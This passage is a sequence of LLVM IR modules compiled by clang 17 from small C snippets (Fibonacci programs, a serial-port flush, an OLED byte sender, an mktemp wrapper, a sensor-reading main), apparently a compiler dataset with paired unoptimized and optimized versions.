!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp9x49eyxn.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [21 x i8] c"\0Aerror!input again!\0A\00", align 1
@.str.2 = private unnamed_addr constant [33 x i8] c"The %dth fibonacci number is %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %2, align 4
%3 = call i32 @scanf(ptr noundef @.str, ptr noundef %2)
%4 = icmp ne i32 %3, 0
%5 = xor i1 %4, true
br i1 %5, label %.lr.ph, label %12
.lr.ph: ; preds = %0
br label %6
6: ; preds = %.lr.ph, %6
%7 = call i32 (...) @getchar()
%8 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
%9 = call i32 @scanf(ptr noundef @.str, ptr noundef %2)
%10 = icmp ne i32 %9, 0
%11 = xor i1 %10, true
br i1 %11, label %6, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %6
br label %12
12: ; preds = %._crit_edge, %0
%13 = load i32, ptr %2, align 4
%14 = load i32, ptr %2, align 4
%15 = call i32 @fib(i32 noundef %14)
%16 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %13, i32 noundef %15)
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @getchar(...) #1
declare i32 @printf(ptr noundef, ...) #1
declare i32 @fib(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpcchyeqyk.c'
source_filename = "/tmp/tmpcchyeqyk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpcchyeqyk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpaxyemhgb.c'
source_filename = "/tmp/tmpaxyemhgb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@TCIFLUSH = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @kiss_platform_serial_iflush(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 %0, ptr %3, align 4
%4 = load i32, ptr %3, align 4
%5 = load i32, ptr @TCIFLUSH, align 4
%6 = call i64 @tcflush(i32 noundef %4, i32 noundef %5)
%7 = icmp ne i64 %6, 0
br i1 %7, label %8, label %9
8: ; preds = %1
store i32 0, ptr %2, align 4
br label %10
9: ; preds = %1
store i32 1, ptr %2, align 4
br label %10
10: ; preds = %9, %8
%11 = load i32, ptr %2, align 4
ret i32 %11
}
declare i64 @tcflush(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpaxyemhgb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@TCIFLUSH = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @kiss_platform_serial_iflush(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 %0, ptr %3, align 4
%4 = load i32, ptr %3, align 4
%5 = load i32, ptr @TCIFLUSH, align 4
%6 = call i64 @tcflush(i32 noundef %4, i32 noundef %5)
%7 = icmp ne i64 %6, 0
br i1 %7, label %8, label %9
8: ; preds = %1
store i32 0, ptr %2, align 4
br label %10
9: ; preds = %1
store i32 1, ptr %2, align 4
br label %10
10: ; preds = %9, %8
%11 = load i32, ptr %2, align 4
ret i32 %11
}
declare i64 @tcflush(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpxgakg1wp.c'
source_filename = "/tmp/tmpxgakg1wp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @revrot(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store i32 %1, ptr %4, align 4
%5 = load i32, ptr %3, align 4
%6 = sub nsw i32 %5, 1
%7 = call i32 @reverse(i32 noundef 0, i32 noundef %6)
%8 = load i32, ptr %3, align 4
%9 = load i32, ptr %4, align 4
%10 = sub nsw i32 %9, 1
%11 = call i32 @reverse(i32 noundef %8, i32 noundef %10)
%12 = load i32, ptr %4, align 4
%13 = sub nsw i32 %12, 1
%14 = call i32 @reverse(i32 noundef 0, i32 noundef %13)
ret void
}
declare i32 @reverse(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpxgakg1wp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @revrot(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store i32 %1, ptr %4, align 4
%5 = load i32, ptr %3, align 4
%6 = sub nsw i32 %5, 1
%7 = call i32 @reverse(i32 noundef 0, i32 noundef %6)
%8 = load i32, ptr %3, align 4
%9 = load i32, ptr %4, align 4
%10 = sub nsw i32 %9, 1
%11 = call i32 @reverse(i32 noundef %8, i32 noundef %10)
%12 = load i32, ptr %4, align 4
%13 = sub nsw i32 %12, 1
%14 = call i32 @reverse(i32 noundef 0, i32 noundef %13)
ret void
}
declare i32 @reverse(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp4_62_1zj.c'
source_filename = "/tmp/tmp4_62_1zj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp4_62_1zj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpbovp5m_i.c'
source_filename = "/tmp/tmpbovp5m_i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @SendData(i64 noundef %0) #0 {
%2 = alloca i64, align 8
store i64 %0, ptr %2, align 8
%3 = call i32 (...) @OLED_SetData()
%4 = load i64, ptr %2, align 8
%5 = call i32 @OLED_SendByte(i64 noundef %4)
ret void
}
declare i32 @OLED_SetData(...) #1
declare i32 @OLED_SendByte(i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpbovp5m_i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @SendData(i64 noundef %0) #0 {
%2 = alloca i64, align 8
store i64 %0, ptr %2, align 8
%3 = call i32 (...) @OLED_SetData()
%4 = load i64, ptr %2, align 8
%5 = call i32 @OLED_SendByte(i64 noundef %4)
ret void
}
declare i32 @OLED_SetData(...) #1
declare i32 @OLED_SendByte(i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpnrzhwqmg.c'
source_filename = "/tmp/tmpnrzhwqmg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpnrzhwqmg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpf_limfok.c'
source_filename = "/tmp/tmpf_limfok.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @mktemp(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call ptr @_mktemp(ptr noundef %3)
ret ptr %4
}
declare ptr @_mktemp(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpf_limfok.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @mktemp(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call ptr @_mktemp(ptr noundef %3)
ret ptr %4
}
declare ptr @_mktemp(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp1398d_nb.c'
source_filename = "/tmp/tmp1398d_nb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"%lld\00", align 1
@.str.2 = private unnamed_addr constant [18 x i8] c"Fib(%lld) = %lld\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i64, align 8
%3 = alloca i64, align 8
%4 = alloca i64, align 8
%5 = alloca i64, align 8
%6 = alloca i64, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i64 0, ptr %3, align 8
store i64 1, ptr %4, align 8
%9 = call i32 (ptr, ...) @scanf(ptr noundef @.str, ptr noundef %8)
store i32 1, ptr %7, align 4
br label %10
10: ; preds = %42, %0
%11 = load i32, ptr %7, align 4
%12 = load i32, ptr %8, align 4
%13 = icmp sle i32 %11, %12
br i1 %13, label %14, label %45
14: ; preds = %10
store i64 0, ptr %3, align 8
store i64 1, ptr %4, align 8
%15 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %2)
%16 = load i64, ptr %2, align 8
%17 = add nsw i64 %16, 1
store i64 %17, ptr %2, align 8
store i64 0, ptr %6, align 8
br label %18
18: ; preds = %34, %14
%19 = load i64, ptr %6, align 8
%20 = load i64, ptr %2, align 8
%21 = icmp slt i64 %19, %20
br i1 %21, label %22, label %37
22: ; preds = %18
%23 = load i64, ptr %6, align 8
%24 = icmp sle i64 %23, 1
br i1 %24, label %25, label %27
25: ; preds = %22
%26 = load i64, ptr %6, align 8
store i64 %26, ptr %5, align 8
br label %33
27: ; preds = %22
%28 = load i64, ptr %3, align 8
%29 = load i64, ptr %4, align 8
%30 = add nsw i64 %28, %29
store i64 %30, ptr %5, align 8
%31 = load i64, ptr %4, align 8
store i64 %31, ptr %3, align 8
%32 = load i64, ptr %5, align 8
store i64 %32, ptr %4, align 8
br label %33
33: ; preds = %27, %25
br label %34
34: ; preds = %33
%35 = load i64, ptr %6, align 8
%36 = add nsw i64 %35, 1
store i64 %36, ptr %6, align 8
br label %18, !llvm.loop !6
37: ; preds = %18
%38 = load i64, ptr %2, align 8
%39 = sub nsw i64 %38, 1
%40 = load i64, ptr %5, align 8
%41 = call i32 @printf(ptr noundef @.str.2, i64 noundef %39, i64 noundef %40)
br label %42
42: ; preds = %37
%43 = load i32, ptr %7, align 4
%44 = add nsw i32 %43, 1
store i32 %44, ptr %7, align 4
br label %10, !llvm.loop !8
45: ; preds = %10
ret i32 0
}
declare i32 @scanf(ptr noundef, ...) #1
declare i32 @printf(ptr noundef, i64 noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp1398d_nb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"%lld\00", align 1
@.str.2 = private unnamed_addr constant [18 x i8] c"Fib(%lld) = %lld\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i64, align 8
%3 = alloca i64, align 8
%4 = alloca i64, align 8
%5 = alloca i64, align 8
%6 = alloca i64, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i64 0, ptr %3, align 8
store i64 1, ptr %4, align 8
%9 = call i32 (ptr, ...) @scanf(ptr noundef @.str, ptr noundef %8)
store i32 1, ptr %7, align 4
%10 = load i32, ptr %7, align 4
%11 = load i32, ptr %8, align 4
%12 = icmp sle i32 %10, %11
br i1 %12, label %.lr.ph2, label %49
.lr.ph2: ; preds = %0
br label %13
13: ; preds = %.lr.ph2, %43
store i64 0, ptr %3, align 8
store i64 1, ptr %4, align 8
%14 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %2)
%15 = load i64, ptr %2, align 8
%16 = add nsw i64 %15, 1
store i64 %16, ptr %2, align 8
store i64 0, ptr %6, align 8
%17 = load i64, ptr %6, align 8
%18 = load i64, ptr %2, align 8
%19 = icmp slt i64 %17, %18
br i1 %19, label %.lr.ph, label %38
.lr.ph: ; preds = %13
br label %20
20: ; preds = %.lr.ph, %32
%21 = load i64, ptr %6, align 8
%22 = icmp sle i64 %21, 1
br i1 %22, label %23, label %25
23: ; preds = %20
%24 = load i64, ptr %6, align 8
store i64 %24, ptr %5, align 8
br label %31
25: ; preds = %20
%26 = load i64, ptr %3, align 8
%27 = load i64, ptr %4, align 8
%28 = add nsw i64 %26, %27
store i64 %28, ptr %5, align 8
%29 = load i64, ptr %4, align 8
store i64 %29, ptr %3, align 8
%30 = load i64, ptr %5, align 8
store i64 %30, ptr %4, align 8
br label %31
31: ; preds = %25, %23
br label %32
32: ; preds = %31
%33 = load i64, ptr %6, align 8
%34 = add nsw i64 %33, 1
store i64 %34, ptr %6, align 8
%35 = load i64, ptr %6, align 8
%36 = load i64, ptr %2, align 8
%37 = icmp slt i64 %35, %36
br i1 %37, label %20, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %32
br label %38
38: ; preds = %._crit_edge, %13
%39 = load i64, ptr %2, align 8
%40 = sub nsw i64 %39, 1
%41 = load i64, ptr %5, align 8
%42 = call i32 @printf(ptr noundef @.str.2, i64 noundef %40, i64 noundef %41)
br label %43
43: ; preds = %38
%44 = load i32, ptr %7, align 4
%45 = add nsw i32 %44, 1
store i32 %45, ptr %7, align 4
%46 = load i32, ptr %7, align 4
%47 = load i32, ptr %8, align 4
%48 = icmp sle i32 %46, %47
br i1 %48, label %13, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %43
br label %49
49: ; preds = %._crit_edge3, %0
ret i32 0
}
declare i32 @scanf(ptr noundef, ...) #1
declare i32 @printf(ptr noundef, i64 noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpun0h4rb1.c'
source_filename = "/tmp/tmpun0h4rb1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [16 x i8] c"Accelerometer:\0A\00", align 1
@.str.1 = private unnamed_addr constant [49 x i8] c"\09Read successful. Data received: %i, %i and %i\0A\0A\00", align 1
@.str.2 = private unnamed_addr constant [15 x i8] c"\09Read failed\0A\0A\00", align 1
@.str.3 = private unnamed_addr constant [6 x i8] c"ADC:\0A\00", align 1
@.str.4 = private unnamed_addr constant [38 x i8] c"\09Read successful. Data received: %i\0A\0A\00", align 1
@.str.5 = private unnamed_addr constant [16 x i8] c"Ambient light:\0A\00", align 1
@.str.6 = private unnamed_addr constant [14 x i8] c"Temperature:\0A\00", align 1
@.str.7 = private unnamed_addr constant [11 x i8] c"Humidity:\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [3 x i32], align 4
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 -1, ptr %3, align 4
%4 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%5 = call i32 @sopen(i32 noundef 3)
store i32 %5, ptr %3, align 4
%6 = load i32, ptr %3, align 4
%7 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
